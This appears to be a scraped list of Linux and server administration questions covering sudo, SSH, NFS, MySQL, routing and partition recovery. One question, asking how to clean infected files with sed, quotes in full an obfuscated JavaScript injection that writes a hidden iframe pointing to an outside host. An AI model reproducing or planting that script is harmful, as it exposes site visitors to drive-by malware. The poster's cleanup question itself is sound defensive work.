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  • a safer no password sudo?

    - by Stacia
    Ok, here's my problem - Please don't yell at me for being insecure! :) This is on my host machine. I'm the only one using it so it's fairly safe, but I have a very complex password that is hard to type over and over. I use the console for moving files around and executing arbitrary commands a LOT, and I switch terminals, so sudo remembering for the console isn't enough (AND I still have to type in my terrible password at least once!) In the past I have used the NOPASSWD trick in sudoers but I've decided to be more secure. Is there any sort of compromise besides allowing no password access to certain apps? (which can still be insecure) Something that will stop malware and remote logins from sudo rm -rf /-ing me, but in my terminals I can type happily away? Can I have this per terminal, perhaps, so just random commands won't make it through? I've tried running the terminal emulations as sudo, but that puts me as root.

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  • SSH login without password prompt

    - by user477519
    I am trying to set up Opennebula. I want to set up my local host so that I can log into my remote host without having to use the password. I have followed the instructions in the "Secure Shell Access" section in the installation instructions. I can not log into my remote host from my local host, but I can log into my local host from my remote host. Not sure what's going on. Any help would be appreciated. Thanks

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  • Why is /dev/urandom only readable by root since Ubuntu 12.04 and how can I "fix" it?

    - by Joe Hopfgartner
    I used to work with Ubuntu 10.04 templates on a lot of servers. Since changing to 12.04 I have problems that I've now isolated. The /dev/urandom device is only accessible to root. This caused SSL engines, at least in PHP, for example file_get_contents(https://... to fail. It also broke redmine. After a chmod 644 it works fine, but that doesnt stay upon reboot. So my question. why is this? I see no security risk because... i mean.. wanna steal some random data? How can I "fix" it? The servers are isolated and used by only one application, thats why I use openvz. I think about something like a runlevel script or so... but how do I do it efficiently? Maby with dpkg or apt? The same goes vor /dev/shm. in this case i totally understand why its not accessible, but I assume I can "fix" it the same way to fix /dev/urandom

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  • running commands as other users - best method

    - by linuxrawkstar
    When running commands as other users from the command line, what is recommended best practice? In the past I've used sudo like so: sudo -u username command [args] I've been told (with no specific reasons why) that using sudo for this purpose is wrong. I'd like to know why. Is there some "best way" to accomplish this? For example, I've also used the su command like so: su username - -c "command [args]" I can't imagine why either of these methods would be "bad". Your thoughts?

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  • Help with user login on Centos 5.6

    - by Owen
    I added a user for the sole purpose of using SU for root. I did not allow the creation of a home directory when creating the user. So now when I login as this user I get the following: Could not chdir to home directory /home/MYUSERNAME: No such file or directory Couldn't resolve homedir for current user at - line 0 BEGIN failed--compilation aborted. Couldn't resolve homedir for current user at - line 0 BEGIN failed--compilation aborted. Is this an error, and if so how do I fix it so it is not looking to "resolve" the homedir?

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  • Remotely enter encryption key?

    - by Jason Swett
    This might be a really dumb question but here goes, anyway. I just bought a couple servers. I already installed Ubuntu with encrypted LVM on one and I'm planning on doing the same with the other. This means that every time I boot up each of these machines, I have to enter the passphrase. And I'll have to do this every morning because I'll power each machine off each night for security reasons. Here's the problem: I don't have monitors or keyboards for these servers. It seems to me I have two options: Somehow enter the passphrase remotely Buy a KVM switch I doubt #1 is an option but I want to make sure it's not before I buy a KVM. Is it possible to enter the passphrase remotely? AND is it a good idea?

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  • USB webcam just works once and next time I've to reboot

    - by user30262
    I'm using Ubuntu 9.10, and a usb webcam that is shown as 'Bus 001 Device 005: ID 0ac8:3450 Z-Star Microelectronics Corp.' by lsusb. The problem is that on connecting the cam, it just works with the first program I start (skype, tokbox, messenger), and if I disconnect it or switch to another program, it stops to work and I have to restart my computer to make it work again. Has anyone else noticed this behaviour? Is there some good solution to reset the camera without rebooting to make it work again?

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  • Formatting LVM partition with HFS+

    - by Pyetras
    I've already tried fsck.hfsplus from hfsprogs, which doesn't do anything at all, and gparted (doesn't work with LVM). Are there any other ways to do that? If all else fails I have OSX install DVD, but I'm not sure if its installer would see a LVM partition (and running it just to check that would be quite troublesome, as I don't have a DVD drive ATM).

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  • mysql disk io keeps increasing ... is that normal?

    - by trustfundbaby
    So I've been trying to figure out this disk IO problem I have been having with my linode VPS. Over the last day or two I've just left watch -n1 pidstat -d running in a console window and the output looks like this: Monitoring it over the last few days, I've noticed that my problem lies with the init, searchd, and mysql processes. Searchd is sphinx and all its indexes are on disk, so disk io there is inevitable (apparently). What I can't understand is why the disk reads (kB_rd/s) for mysql refuse to stabilize and just keep going up. It started out at 154 yesterday and is up to what you see in that screen shot. but disk writes (kB_wr/s) have remained pretty constant the entire time. My VPS only has 768MB RAM, my mysql db has a size of about 220MB and after running mysqltuner.pl and reading a bit about it, I've been advised to set my innodb_buffer_pool_size to 220MB but I simply cannot afford to do that ... I have it up to 150MB. My question is twofold. Why does the init process have that much disk reading to do? Why is mysql doing so much disk reading?

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  • nfs mount fails in Ubuntu 10, but not with -v

    - by stuartreynolds
    (1) mount -t nfs remotehost:/remotedir localmountpoint -o owner,rw (2) mount -v -t nfs remotehost:/remotedir localmountpoint -o owner,rw (1) Used to work with Ubuntu 9 and now fails with Ubuntu 10 (2.6.32-21-generic kernel) with the error: mount.nfs: an incorrect mount option was specified Strangely, adding -v (verbose) in (2) makes the problem go away. This is currently a blocker for me because the fstab line: remotehost:/remotedir localmountpoint nfs owner,rw 0 0 causes the same error (I don't believe I can specify verbose in fstab). Is this a bug in mount or my options really incorrect?

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  • How to get the CentOS 5.6 alsa drivers which will really work with one shot, without any internet.

    - by 89899.3K
    I have one chance to install this in my server on site. Server that i am running is CentOS 5.6 (Dell R310, RAID1) where i need to install alsa-sound driver so that anything related to audio recording from rtsp is working (rail station/rail passing video recording including audio, where audio is not working). Unfortunately i do not have any kind of internet in that odd none human location so yum will not work for me. I need a offline way to install alsa drivers including missing dependencies if arise. What and where i can download this to my usb or cd? so that i can successfully install it (like mission complete). Thanks

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  • Keeping folder of files in sync over 3 machines

    - by Wizzard
    Morning, Got 3 machines that have user content on them, which I need to keep in sync. This is a 3 way sync. Currently I run rsync but we just don't handle deletes. Have looked at something like gluster, but that seems a little over the top Any other software out there to do a 3 way sync, or a good network file system...? There is for web servers so we don't want a slow / IO hungry process. 3 servers... user content could be added to 1 and needs to be moved to other two.

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  • Started an application through SSH, command line now gone, what happens next?

    - by Chris Dutrow
    Context: This is a very basic question Using Putty and SSH for the first time to do some serious server setup and run into the situation where I have started a process that I do not want to stop. The process is the gunicorn WSGI HTTP Server (running on Centos 6.3). The command I used to start the process is (as per their Quick Start): gunicorn -w 4 myapp:app At this point in the work session, I have lost the command prompt. This must be such a non-issue that it doesn't even enter into an experienced user's consciousness. But unfortunately at my level of experience, I am left with several fundamental questions: Does the fact that I have lost the command prompt mean that the process is still running? How do I get back to the command prompt without killing the process? How do I come back and monitor the process later? How do I eventually kill the process? Any help is appreciated, thanks so much!

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  • How can I remove malware code in multiple files with sed?

    - by user47556
    I've this malware code in so many .html and .php files on the server. I need to remove them using sed -i expression search all files under directory /home/ find infected files remove the code by replacing it with a white space var usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66';var nimbchnzujc = 'PaBUTyjaZYg72';var szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22';var yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76';var ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22';var xwojmnoxfbs = 'PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22';var mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f';var nixyhgyjouf = 'koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg74PaBUTyjaZYg69PaBUTyjaZYg74PaBUTyjaZYg6cPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22';var rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76';var niupgeebkhf = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg63PaBUTyjaZYg72PaBUTyjaZYg6fPaBUTyjaZYg6cPaBUTyjaZYg6cPaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg67PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg6ePaBUTyjaZYg6fPaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyjaZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg66PaBUTyjaZYg72PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyjaZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg3e';var yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66';var tlclvgxfthn = 'PaBUTyjaZYg72PaBUTyjaZYg61';var zxttbudjafh = 'PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3e';var yydszqnduko = new Array();yydszqnduko[0]=new Array(usikwseoomg+nimbchnzujc+szwtgmqzekr+yvofadunjkv+ylydzxyjaci+xwojmnoxfbs+mgsybgilcfx+nixyhgyjouf+nesrtqwuirb+rqchyojemkn+niupgeebkhf+yyzsvtbnudd+tlclvgxfthn+zxttbudjafh);document['PaBUTyjaZYgwPaBUTyjaZYgrPaBUTyjaZYgiPaBUTyjaZYgtPaBUTyjaZYgePaBUTyjaZYg'.replace(/PaBUTyjaZYg/g,'')](window['PaBUTyjaZYguPaBUTyjaZYgnPaBUTyjaZYgePaBUTyjaZYgsPaBUTyjaZYgcPaBUTyjaZYgaPaBUTyjaZYgpPaBUTyjaZYgePaBUTyjaZYg'.replace(/PaBUTyjaZYg/g,'')](yydszqnduko.toString().replace(/PaBUTyjaZYg/g,'%')));

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  • Subversion Permission Denied when adding or committing

    - by Rungano
    Hi guys I am running subversion 1.4 on Centos 5.2 and my clients are using tortoise to do their check out, commit etc. I think I have permissions problems but I have configured the folder to accessible to everyone with 777 attribute but I seem not to be getting anywhere. Its generating this error on tortoise "svn: Can't open file 'PATH/TO/MY/FILES/entries': Permission denied". Some guy was suggesting some indexing software installed on the client machine like google desktop, any suggestions?

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  • How to get a remote desktop / X11 with ubuntu 10.04 LTS from mac os x?

    - by cwd
    I am running Snow Leopard OS X 10.6 and I have X11 installed. I also have ubuntu 10.04 LTS running on a remote machine. I have root privileges. So far I haven't really installed anything besides the operating system. This was done in an amazon aws type of way. I see people talking about getting gnome or a "remote desktop" type of thing working, but I'm not sure how to go about this. I connected and then typed in gnome-session but nothing happened. Maybe I don't have that thing installed yet? Can someone point me in the right direction? Also, is it possible to just start an X11 session with a single app, like notepad or a file and folder browser?

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  • Should we regularly schedule mysqlcheck (or databsae optimization)

    - by scatteredbomb
    We run a forum with some 2 million posts and I've noticed that if left untouched the overhead in the mySQL (as listed in phpMyAdmin) can get quite large (hundreds of megabytes). I'm wondering if scheduling a normal mysqlcheck to optimize the tables is good practice? Any reason not to do it, say, once a week at an off-peak hour? There was a time over the summer where our site was constantly crashing because mysql was using up all resources. That's when I noticed the huge amount of overhead and optimized the database and haven't had any problems since then with stability. I figured if that was helping alleviate the issues, I should just setup a cron to automatically do this.

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  • Use test to check for condition with find and execdir option

    - by slosd
    I think I can keep my question short. Why does the following command produce no output? find /usr/share/themes -mindepth 1 -maxdepth 1 -type d -execdir test -d {}/gnome-shell \; I expected it to print all folders in /usr/share/themes that contain a folder gnome-shell. Several websites suggest that this usage of test as a command in exec/execdir is possible. From man find: -exec command ; Execute command; true if 0 status is returned. [...]

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  • sudoers entries

    - by Pochi
    Is there a way to have a sudoers entry that allows executing of only a particular command, without any extra arguments? I can't seem to find a resource that describes how command matching works with sudoers. Say I want to grant sudo for /path/to/executable arg. Does an entry like the following: user ALL=(ALL) /path/to/executable arg strictly allow sudo access to a command exactly matching that? That is, it doesn't grant user sudo privileges for /path/to/executable arg arg2?

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  • Change ip route metric

    - by notphunny
    I'm constantly switching between eth0 and wlan0 interface on my archlinux because I often change OpenWrt fw images on my second router (which isn't connected anywhere). So I have problem with my routes when I'm connected to my wlan and want to connect with Ethernet to my router. Both routers are on 192.168.1.1/24 and after connecting to my Ethernet profile eth0 route becomes default one (which is ok for the time), because of smaller metric I guess. So I'm interested, how can I change routes metric so my applications can be connected to the internet (through out wlan)? Maybe there is solution not to use Default Gateway on Ethernet profile, however I still want to know how to change metric. Or default route if there are more then one.

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  • 2.6.9 Kernel on virtual server (non upgradable) - any expected problems?

    - by chris_l
    Hi, I'm considering to rent a virtual server (for me personally). The product I'm currently looking at offers IMO fair pricing, very good hardware etc. The only problem is, that I won't be able to do an upgrade to a newer kernel than 2.6.9 (running Debian Etch). Also, I can't install my own kernel modules. (The server runs with Virtuozzo, so as far as I understand it, it just does some chroot instead of a real virtualization (?)) I want to run GlassFish, Postgres, Subversion, Trac and maybe some other things on it. It will also have to employ a firewall, and provide OpenSSL for https. Ideally, it would also be able to do AIO (asynchronous IO), which could speed up some server I/O. Should I expect problems with that old kernel version, in conjunction with the software I want to install (I'd like to use current versions of the software)? One thing I already found out, is that you can't do everything with iptables, since some kernel modules are missing/things are not build into the kernel. GlassFish v3 appears to run fine at first glance. I was able to test the server for a few hours. Installing my whole setup wasn't feasible in that time, but what I can say is, that it's amazingly fast for an entry-level vserver, especially hard disk and network performance (averaging at ca. 400MBit/s). So if the kernel won't be a problem, I'd really like to take it. Thanks, Chris PS Exact kernel version: 2.6.9-023stab051.3-smp

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  • Disaster - partitions lost, data seemingly alive, how to recover?

    - by a2h
    I've used TestDisk and it's written my old partition structure of a ~20GiB partition for Vista, ~25GiB partition for 7 (but it now shows up as unallocated) and a ~400GiB partition for documents. What it's meant to be is a 30GiB partition for 7, some unallocated space, and a ~400GiB partition for documents. So currently, I have access to all my documents, but not any of the programs I've installed on C:, or AppData, because my boot partition is now supposedly a 20GB vista partition. I've tried using my Windows 7 install disc's repair function, but that did nothing beyond wasting about 10 minutes of my time. I'm currently posting from an Ubuntu live CD. Any help?

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